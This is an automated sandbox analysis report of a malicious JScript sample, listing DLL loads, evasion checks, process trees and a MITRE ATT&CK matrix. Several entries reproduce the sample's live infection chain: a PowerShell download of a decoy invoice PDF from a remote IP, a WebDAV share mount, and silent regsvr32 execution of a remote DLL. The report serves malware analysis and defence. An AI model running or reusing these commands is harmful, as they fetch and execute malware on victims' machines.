Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4066.js.csv");ITextStream.WriteLine(" entry:7428 f:hrtjjt");ITextStream.WriteLine(" exec:2 f:hrtjjt");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49713

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4402			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5462			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1484	Thread sleep count: 4402 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1484	Thread sleep count: 5462 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1132	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3820	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5368	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5952	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2180010423.000001C722BBB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182671863.000001C722B58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3403627849.000002A58F058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3402512681.000002A58982B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
